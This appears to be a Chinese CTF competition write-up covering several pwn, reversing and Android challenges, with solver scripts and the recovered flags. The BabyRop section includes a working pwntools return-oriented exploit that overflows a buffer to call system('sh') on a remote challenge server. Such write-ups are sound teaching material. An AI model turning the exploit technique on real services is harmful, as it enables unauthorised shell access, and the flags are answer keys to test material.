1.簽到
比較坑的點是《一起來看***》是17,猜了很久才猜出來
28-08-30-07-04-20-02-17-23-01-12-19
得到flag SangFor{d93b7da38d89c19f481e710ef1b3558b}
2.BabyRop
一萬年沒做pwn了,為了騙點分還是看了一下,
- fgets存在堆疊溢位
- 沒有cannary保護
- 存在system函式(也可以用func1),存在/cin/sh字串
所以可以直接getshell,坑點是不能使用/cin/sh和/sh要執行system(“sh”)
from pwn import *
elf = ELF('./BabyRop')
#p = process('./BabyRop')
p = remote('192.168.41.27',11000)
func1 = 0x080491D6
cbinsh = 0x0804C024+5
main = 0x0804926B
Go = 0x08049227
payload = b'a'*44+p32(func1)+p32(Go)+p32(cbinsh)
p.sendline(payload)
p.interactive()
3.BabySmc
看題目就知道有自修改了,自解密后保存,自解密方法回圈右移3位,再和0x5A異或

有點像變形的base64,也是3個字符變成4個字符,還有查表和異或,
關鍵點是需要弄清楚3個字符被分到了4個字符的哪個地方

直接給代碼吧,得到最后的flag:SangFor{XSAYT0u5DQhaxveIR50X1U13M-pZK5A0}
#include <stdio.h>
#include<stdlib.h>
unsigned char table[] = {
0xE4,0xC4,0xE7,0xC7,0xE6,0xC6,0xE1,0xC1,0xE0,0xC0,0xE3,0xC3,0xE2,0xC2,0xED,0xCD,
0xEC,0xCC,0xEF,0xCF,0xEE,0xCE,0xE9,0xC9,0xE8,0xC8,0xEB,0xCB,0xEA,0xCA,0xF5,0xD5,
0xF4,0xD4,0xF7,0xD7,0xF6,0xD6,0xF1,0xD1,0xF0,0xD0,0xF3,0xD3,0xF2,0xD2,0xFD,0xDD,
0xFC,0xDC,0xFF,0xDF,0x95,0x9C,0x9D,0x92,0x93,0x90,0x91,0x96,0x97,0x94,0x8A,0x8E
};
int main()
{
unsigned char encode[] = "H>oQn6aqLr{DH6odhdm0dMe`MBo?lRglHtGPOdobDlknejmGI|ghDb<4";
for (int i = 0; i < 56;i += 4)
{
unsigned char t1=0, t2=0, t3=0, t4=0;
unsigned char d1=0, d2=0, d3=0;
unsigned char idx1 = 0, idx2 = 0, idx3 = 0, idx4 = 0;
t1 = encode[i] ^ 0xa6;
t2 = encode[i + 1] ^ 0xa3;
t3 = encode[i + 2] ^ 0xa9;
t4 = encode[i + 3] ^ 0xac;
for (; idx1 < 64; idx1++)
{
if (t1 == table[idx1])
break;
}
for (; idx2 < 64; idx2++)
{
if (t2 == table[idx2])
break;
}
for (; idx3 < 64; idx3++)
{
if (t3 == table[idx3])
break;
}
for (; idx4 < 64; idx4++)
{
if (t4 == table[idx4])
break;
}
d1 = (idx1 & 0x3f) << 2 | (idx2 & 0x30) >> 4;
d2 = (idx2 & 0xf) << 4 | (idx3 & 0x3c) >> 2;
d3 = (idx3 & 0x3) << 6 | (idx4 & 0x3f);
printf("%c%c%c", d1, d2, d3);
}
getchar();
}
4. Ez_android
可以直接在string中找到user:admin md5在線查詢得到password:654321,順利通過第一關,

通過驗證會去連接139.224.191.281 20080來獲取key,


最后還需要輸入flag,將flag做了變形base64,table為上一步得到的字串

網上找了個base64變形的代碼,得到flag:SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}
import base64
import string
string = "3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P"
tableBase64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
tableNew = "TGtUnkaJD0frq61uCQYw3-FxMiRvNOB/EWjgVcpKSzbs8yHZ257X9LldIeh4APom"
'''
maketrans():用于創建字符映射的轉換表,對于接受兩個引數的最簡單的呼叫方式,第一個引數是字串,表示需要轉換的字符,第二個引數也是字串表示轉換的目標;
translate():法根據引數table給出的表(包含 256 個字符)轉換字串的字符, 要過濾掉的字符放到 del 引數中;
decode():以encoding指定的編碼格式解碼字串,
'''
'1.換表'
maketrans = str.maketrans(tableNew, tableBase64)
'2.使用新表轉換字串'
translate = string.translate(maketrans)
'2.Base64解碼'
flag = base64.b64decode(translate)
'''
三合一操作:
flag = base64.b64decode(string.translate(str.maketrans(tableNew, tableBase64)))
'''
print (flag)
6.DeltX
檢驗1:
限制flag長度為41,SangFor{開頭,前面 12個位元組為0-9A-F+4位元組0-9a-f+16位元組0-9A-F,
接著會將flag的本體每4個位元組轉換為hex,比如"ABCD"就變成0xABCD

校驗2:
我們把每次校驗的數字記為X和Y,會將X和Y經過下面的加密得到v48與0x249e15c5進行比較

中間的兩個while回圈簡化后如下,中間的while回圈只是做了一個xor
do
{
tmp = y&x
y = x^y
x = 2*(tmp)
}while(x)
檢驗3:
將Y單獨做加密與0xFFFF59BC做比較,可以將上面的情況約束到只有一個解

破解之法
因為X和Y都是0x0000-0xFFFF所以范圍不是很大,可以使用暴力的方法將所有校驗1結果為0x249e15c5的X和Y記錄,動態除錯驗證校驗2
#include<stdio.h>
#include<stdlib.h>
int main()
{
for (int x=0; x < 0xffff; x++)
{
for (int y=0; y < 0xffff; y++)
{
int tmp = 0, tmpx = 0, tmpy = 0;
int tmpyy = y,tmpxx=x;
for (; tmpyy; tmpyy >>= 1)
{
if ((tmpyy & 1) != 0)
{
tmpx = tmpxx;
do
{
tmp = tmpy & tmpx;
tmpy = tmpx ^ tmpy;
tmpx = 2 * (tmp);
//if (x == 0x1234 && y == 0x5678)printf("tmp:%x tmpx:%x tmpy:%x\n",tmp,tmpx,tmpy);
} while (tmpx);
}
tmpxx *= 2;
}
if (tmpy == 0x249e15c5)
{
printf("x:%x y:%x\n", x, y);
}
}
}
}
爆破得到兩條記錄,經過動態除錯驗證校驗2,得到flag的前8個字符為:2C7BD2BF
[*]x:2C7B y:D2BF 可以
[*]x:D2BF y:2C7B
flag
同理可以爆破得到所有的flag:SangFor{2C7BD2BF862564baED0B6B6EA94F15BC}
0x249E15C5 0xFFFF59BC
[*]x:2c7b y:d2bf 可以
[*]x:d2bf y:2c7b
SangFor{2C7BD2BF
0x34C7EAE2 0x216B
[*]x:596E y:9717
[*]x:64BA y:8625
[*]x:8625 y:64BA 可以
[*]x:9717 y:596E
SangFor{2C7BD2BF862564ba
0x637973BA 0x819D
[*]x:6B6E y:ED0B
[*]x:ED0B y:6B6E 可以
SangFor{2C7BD2BF862564baED0B6B6E
0xE5FD104 0x9393
[*]x:1214 y:CB8D
[*]x:15BC y:A94F
[*]x:18BB y:94CC
[*]x:2533 y:62EC
[*]x:3176 y:4A66
[*]x:4A66 y:3176
[*]x:62EC y:2533
[*]x:94CC y:18BB
[*]x:A94F y:15BC
[*]x:CB8D y:1214
SangFor{2C7BD2BF862564baED0B6B6EA94F15BC}
總結
比賽難度不是很大,而且很多大戰隊都去RCTF了,比賽程序還是挺好的,
沒有接觸過VM的逆向,之后有空了會將剩下的逆向Easy_VM、safe box、OddCode給補上
說了要補上的
Easy_VM超詳細題解:https://blog.csdn.net/abel_big_xu/article/details/120285565?spm=1001.2014.3001.5501
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/300185.html
標籤:其他
